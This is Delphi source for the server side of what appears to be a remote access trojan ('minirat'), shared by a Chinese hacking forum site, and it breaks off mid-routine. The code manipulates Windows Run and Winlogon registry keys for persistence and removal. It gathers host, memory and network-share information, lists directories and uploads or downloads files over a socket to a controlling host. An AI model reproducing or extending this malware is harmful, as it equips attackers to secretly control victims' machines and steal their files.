{南域劍盟    www.98exe.com   上興QQ:51992
 聲明：程序由南域劍盟98exe.com成員網上搜集，不承擔技術及版權問題}

{隨便加了點注釋，文件傳輸不詳細注了，大家網上找相關資料看}
unit UServer;

interface
uses
  Windows, Messages, Winsock, Wininet, untCMDList, ShellApi, psApi, TLHelp32,
    untHTTPDownload,SysUtils2,URsConst;

const
  version = '0.50B';

  { host          : string = '127.0.0.1';
   password      : string = 'shj';
   port          : integer = 80;
   }
  {文件屬性常量}
  faReadOnly = $00000001; //只讀文件
  faHidden = $00000002; //隱藏文件
  faSysFile = $00000004; // 系統文件
  faVolumeID = $00000008; // 卷標文件
  faDirectory = $00000010; // 目錄
  faArchive = $00000020; //歸檔文件
  faAnyFile = $0000003F; // 任意文件

type
  TFileName = type string; //文件
  TSearchRec = record
    Time: Integer;
    Size: Integer;
    Attr: Integer;
    Name: TFileName;
    ExcludeAttr: Integer;
    FindHandle: THandle;
    FindData: TWin32FindData;
  end;

  LongRec = packed record
    case Integer of
      0: (Lo, Hi: Word);
      1: (Words: array[0..1] of Word);
      2: (Bytes: array[0..3] of Byte);
  end;

  TInfo = record
    Name: string;
    Host: string;
    Port: Integer;
    Size: Integer;
  end;
  PInfo = ^TInfo;

  TServer = class(TObject)
  private
    Sock: TSocket;
    Addr: TSockAddrIn;
    WSA: TWSAData;
  public
    procedure Connect;
    procedure SendData(Text: string);
    procedure ReceiveData;

    function GetNet: string;
  end;

var
  Serv: TServer;
  PieZhi:TRedCtrl;
  ConFile:string;
  Info: TInfo;
  Port: Integer;
  Close: Boolean;
  LastDir: string;
  Host: string;
  Password: string;

{  dName: string;
  dAName: string;
  dSystem: string;
  dMelt: string;
  dDelay: string;
  dPort: string;
  dDns: string;
  dPass: string;
  dRegName: string;
  dRegLM: string;
  dRegCU: string;
  dRegSH: string;
  dInject: string;
}
  //判斷網絡是否鏈接--------------------------------------------
function InternetGetConnectedStateEx(
  lpdwFlags: LPDWORD;
  lpszConnectionName: LPTSTR;
  dwNameLen: DWORD;
  dwReserved: DWORD): BOOL; stdcall;
external 'wininet.dll' name 'InternetGetConnectedStateEx';

procedure miniratMain;
implementation

procedure SetRegValue(ROOT: hKey; Path, Value, Str: string);
var
  Key: hKey;
  Size: Cardinal;
begin
  RegOpenKey(ROOT, pChar(Path), Key); //打開給定鍵
  Size := 2048;
  RegSetValueEx(Key, pChar(Value), 0, REG_SZ, @Str[1], Size); //寫注冊表
  RegCloseKey(Key); //釋放
end;

procedure SetDelValue(ROOT: hKey; Path, Value: string);
var
  Key: hKey;
  Size: Cardinal;
begin
  RegOpenKey(ROOT, pChar(Path), Key);
  Size := 2048;
  RegDeleteValue(Key, pChar(Value));
  RegCloseKey(Key);
end;
//寫入注冊表-----------------------------------------------
procedure Uninstall;
begin
  SetDelValue(HKEY_LOCAL_MACHINE,
    'Software\Microsoft\Windows\CurrentVersion\Run', dRegName);
  SetDelValue(HKEY_CURRENT_USER,
    'Software\Microsoft\Windows\CurrentVersion\Run', dRegName);
  SetRegValue(HKEY_LOCAL_MACHINE,
    'Software\Microsoft NT\Windows\CurrentVersion\Winlogon', 'Shell',
    'Explorer.exe');
  ExitProcess(0);
end;

function Enumeration(dRes: PNetResource; dI: Integer): string;
var
  dHandle: THandle;
  K: DWord;
  BufferSize: DWord;
  Buffer: array[0..1023] of TNetResource;
  I: Word;
  Temp: string;
begin
  WNetOpenEnum(2, 0, 0, dRes, dHandle);

  K := 1024; //  大小為1024
  BufferSize := SizeOf(Buffer); //獲得盤

  while (WNetEnumResource(dHandle, K, @Buffer, BufferSize) = 0) do //獲得資源
    for I := 0 to K - 1 do
    begin
      if (Buffer[I].dwDisplayType = RESOURCEDISPLAYTYPE_SERVER) then
        //顯示類型為服務器(工作組)
      begin
        Temp := IntToStr(C_INFONETWORK) + ' ' + pChar(Buffer[I].lpRemoteName) +
          ' "' + pChar(Buffer[I].lpComment) + '"'#10;
        if (Pos(Temp, Result) = 0) then
          Result := Result + Temp;
      end;
      if (Buffer[I].dwUsage > 0) then
      begin
        Temp := Enumeration(@Buffer[I], 1);
        if (Pos(Temp, Result) = 0) then
          Result := Result + Temp;
      end;
    end;

  WNetCloseEnum(dHandle); // 獲取所有目錄
end;

function GetNetworkInfo: string;
begin
  Result := IntToStr(C_INFONETWORK) + ' Domains Comments'#10 +
    Enumeration(nil, 0);
end;

//尾部加入資源，版本，地址，密碼，端口－－－－－－－－－－－－－－－－－－
function GetServerInfo: string;
begin
  Result := IntToStr(C_INFOSERVER) + ' Version ' + Version + #10 +
    IntToStr(C_INFOSERVER) + ' RmtAddr ' + PieZhi.dDnsHost + #10 +
    IntToStr(C_INFOSERVER) + ' Password ' + PieZhi.dPass + #10 +
    IntToStr(C_INFOSERVER) + ' SrvPort ' + PieZhi.dLocalPort + #10 +
    IntToStr(C_INFOSERVER) + ' RmtPort ' + PieZhi.dRemotePort + #10;
end;

//記錄-----
function GetInformation: string;
var
  HostName: array[0..069] of Char;
  Sysdir: array[0..255] of Char;
  MemoryStatus: TMemoryStatus;
  Total: Integer;
begin
  GetHostName(HostName, SizeOf(HostName));
  GetSystemDirectory(Sysdir, 256);

  MemoryStatus.dwLength := SizeOf(TMemoryStatus);
  GlobalMemoryStatus(MemoryStatus);

  Total := GetTickCount() div 1000;

  Result := IntToStr(C_INFOSYSTEM) + ' Hostname ' + Hostname + #10 +
    IntToStr(C_INFOSYSTEM) + ' System ' + string(SysDir) + #10 +
    IntToStr(C_INFOSYSTEM) + ' Memory(Total) ' +
      IntToStr(MemoryStatus.dwTotalPhys div 1048576) + ' MB Total'#10 +
    IntToStr(C_INFOSYSTEM) + ' Memory(Free) ' + IntToStr(MemoryStatus.dwAvailPhys
      div 1048576) + ' MB Free'#10 +
    IntToStr(C_INFOSYSTEM) + ' Memory(Used) ' +
      IntToStr(MemoryStatus.dwMemoryLoad) + '% In Use'#10 +
    IntToStr(C_INFOSYSTEM) + ' Uptime ' + IntToStr(Total div 86400) + ' days ' +
    IntToStr((Total mod 86400) div 3600) + ' hours ' +
    IntToStr(((Total mod 86400) mod 3600) div 60) + ' min ' +
    IntToStr((((Total mod 86400) mod 3600) mod 60) div 1) + ' sec'#10;
end;

//檢查本機網絡狀態---------------------
function TServer.GetNet: string;
var
  W: DWord;
  Name: array[0..128] of Char;
begin
  FillChar(Name, SizeOf(Name), 0);
  InternetGetConnectedStateEx(@W, Name, 128, 0); //檢查連接internet狀態
  if (W and INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN then
    Result := 'LAN (' + string(Name) + ')'
  else
    Result := 'Dial-Up (' + string(Name) + ')';
end;

// Send Data
function SendData(Sock: TSocket; Text: string; var sByte: Cardinal): Integer;
var
  Len: Integer;
begin
  Result := Length(Text);
  Len := Send(Sock, Text[1], Length(Text), 0);
  Inc(sByte, Len);
end;

//下面基本都是功能了，文件的操作等
procedure StripOutCmd(Text: string; var Cmd: string);
begin Cmd := Copy(Text, 1, Pos(' ', Text) - 1);
end;

procedure StripOutParam(Text: string; var Param: array of string);
var
  I: Word;
begin
  if Text = '' then Exit;
  FillChar(Param, SizeOf(Param), 0);
  Delete(Text, 1, Pos(' ', Text));

  if Text = '' then Exit;
  if (Text[Length(Text)] <> ' ') then Text := Text + ' ';

  I := 0;
  while (Pos(' ', Text) > 0) do
  begin
    Param[I] := Copy(Text, 1, Pos(' ', Text) - 1);
    Inc(I);
    Delete(Text, 1, Pos(' ', Text));
    if (I >= 100) then Break;
  end;
end;

//   傳遞文件
function RecvFile(P: Pointer): DWord; STDCALL;
var
  Sock: TSocket;
  Addr: TSockAddrIn;
  WSA: TWSAData;

  BytesRead: Cardinal;

  F: file;
  Buf: array[0..8192] of Char;
  dErr: Integer;

  Name: string;
  Host: string;
  Port: Integer;
  Size: Integer;

  T: string;
begin
  Name := PInfo(P)^.Name;
  Host := PInfo(P)^.Host;
  Port := PInfo(P)^.Port;
  Size := PInfo(P)^.Size;

  WSAStartUp($0101, WSA);
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := inet_Addr(pchar(Host));

  if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;

  {$I-}
  T := 'ok';
  AssignFile(F, Name);
  Rewrite(F, 1);
  repeat
    FillChar(Buf, SizeOf(Buf), 0);
    dErr := Recv(Sock, Buf, SizeOf(Buf), 0);
    if (dErr > 0) then
      BlockWrite(F, Buf, dErr)
    else
      Break;
    Dec(Size, dErr);
    dErr := Send(Sock, T[1], Length(T), 0);
  until Size <= 0;
  CloseFile(F);
  {$I+}

  WSACleanUp();
end;
//定時檢測
function SendFile(P: Pointer): DWord; STDCALL;
var
  Sock: TSocket;
  Addr: TSockAddrIn;
  WSA: TWSAData;

  BytesRead: Cardinal;

  F: file;
  Buf: array[0..8192] of Char;
  dErr: Integer;

  Name: string;
  Host: string;
  Port: Integer;

  T: string;
begin
  Name := PInfo(P)^.Name;
  Host := PInfo(P)^.Host;
  Port := PInfo(P)^.Port;

  WSAStartUp($0101, WSA);
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := inet_Addr(pchar(Host));

  if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;

  {$I-}
  T := 'ok';
  AssignFile(F, Name);
  Reset(F, 1);
  repeat
    BlockRead(F, Buf, SizeOf(Buf), BytesRead);
    if (BytesRead = 0) then Break;

    Send(Sock, Buf[0], SizeOf(Buf), 0);
    FillChar(Buf, SizeOf(Buf), 0);
    Recv(Sock, Buf, SizeOf(Buf), 0);
  until BytesRead = 0;
  CloseFile(F);
  {$I+}

  WSACleanUp();
end;

//取回的文件大小 ------------------------------
function GetFileSize(FileName: string): Int64;
var
  H: THandle;
  Data: TWIN32FindData;
begin
  Result := -1;
  H := FindFirstFile(pChar(FileName), Data);
  if (H <> INVALID_HANDLE_VALUE) then
  begin
    Windows.FindClose(H);
    Result := Int64(Data.nFileSizeHigh) shl 32 + Data.nFileSizeLow;
  end;
end;

//將IP解釋成主機名
function RemoteAddr(Sock: TSocket): TSockAddrIn;
var
  W: TWSAData;
  S: TSockAddrIn;
  I: Integer;
begin
  WSAStartUP($0101, W);
  I := SizeOf(S);
  GetPeerName(Sock, S, I);
  WSACleanUP();

  Result := S;
end;

function RemoteAddress(Sock: TSocket): string;
begin
  Result := INET_NTOA(RemoteAddr(Sock).sin_addr);
end;

function FindMatchingFile(var F: TSearchRec): Integer;
var
  LocalFileTime: TFileTime; //文件創建的時間
begin
  with F do
  begin
    while FindData.dwFileAttributes and ExcludeAttr <> 0 do
      if not FindNextFile(FindHandle, FindData) then
      begin
        Result := GetLastError;
        Exit;
      end;
    FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
    FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi, LongRec(Time).Lo);
    Size := FindData.nFileSizeLow;
    Attr := FindData.dwFileAttributes;
    Name := FindData.cFileName;
  end;
  Result := 0;
end;

procedure FindClose(var F: TSearchRec);
begin
  if F.FindHandle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(F.FindHandle);
    F.FindHandle := INVALID_HANDLE_VALUE;
  end;
end;

function FindFirst(const Path: string; Attr: Integer;
  var F: TSearchRec): Integer;
const
  faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
  F.ExcludeAttr := not Attr and faSpecial;
  F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
  if F.FindHandle <> INVALID_HANDLE_VALUE then
  begin
    Result := FindMatchingFile(F);
    if Result <> 0 then FindClose(F);
  end
  else
    Result := GetLastError;
end;

function FindNext(var F: TSearchRec): Integer;
begin
  if FindNextFile(F.FindHandle, F.FindData) then
    Result := FindMatchingFile(F)
  else
    Result := GetLastError;
end;

//找到的是個目錄而不是文件...
procedure GenerateList(Dir: string; dNr: Integer);
var
  SR: TSearchRec;
  Temp: string;
  Att: string;
begin
  if (Dir = '') then Exit;
  if (Dir[Length(Dir)] <> '\') then Dir := Dir + '\';
  if FindFirst(Dir + '*.*', faDirectory or faHidden or faSysFile or faVolumeID or
    faArchive or faAnyFile, SR) = 0 then
    repeat
      if ((SR.Attr and faDirectory) = faDirectory) then
      begin
        Temp := IntToStr(C_REQUESTLIST) + ' DIR 0 ' + SR.Name + #10;
        if (dNr = 1) then
          Send(Serv.Sock, Temp[1], Length(Temp), 0);
      end
      else
      begin
        Att := '';
        if ((SR.Attr and faReadOnly) = faReadOnly) then
          Att := Att + 'ReadOnly/';
        if ((SR.Attr and faHidden) = faHidden) then Att := Att + 'Hidden/';
        if ((SR.Attr and faSysFile) = faSysFile) then Att := Att + 'SysFile/';
        if ((SR.Attr and faVolumeID) = faVolumeID) then
          Att := Att + 'VolumeID/';
        if ((SR.Attr and faArchive) = faArchive) then Att := Att + 'Archive/';
        if ((SR.Attr and faAnyFile) = faAnyFile) then Att := Att + 'AnyFile/';

        if Copy(Att, length(Att), 1) = '/' then
          Delete(Att, Length(Att), 1);

        Temp := IntToStr(C_REQUESTLIST) + ' ' + Att + ' ' + IntToStr(SR.Size) +
          ' ' + SR.Name + #10;
        if (dNr = 2) then
          Send(Serv.Sock, Temp[1], Length(Temp), 0);
      end;
    until FindNext(SR) <> 0;
end;

procedure CvtInt;
asm
       OR      CL,CL
       JNZ     @CvtLoop
@C1:    OR      EAX,EAX
       JNS     @C2
       NEG     EAX
       CALL    @C2
       MOV     AL,'-'
       INC     ECX
       DEC     ESI
       MOV     [ESI],AL
       RET
@C2:    MOV     ECX,10

@CvtLoop:
       PUSH    EDX
       PUSH    ESI
@D1:    XOR     EDX,EDX
       DIV     ECX
       DEC     ESI
       ADD     DL,'0'
       CMP     DL,'0'+10
       JB      @D2
       ADD     DL,('A'-'0')-10
@D2:    MOV     [ESI],DL
       OR      EAX,EAX
       JNE     @D1
       POP     ECX
       POP     EDX
       SUB     ECX,ESI
       SUB     EDX,ECX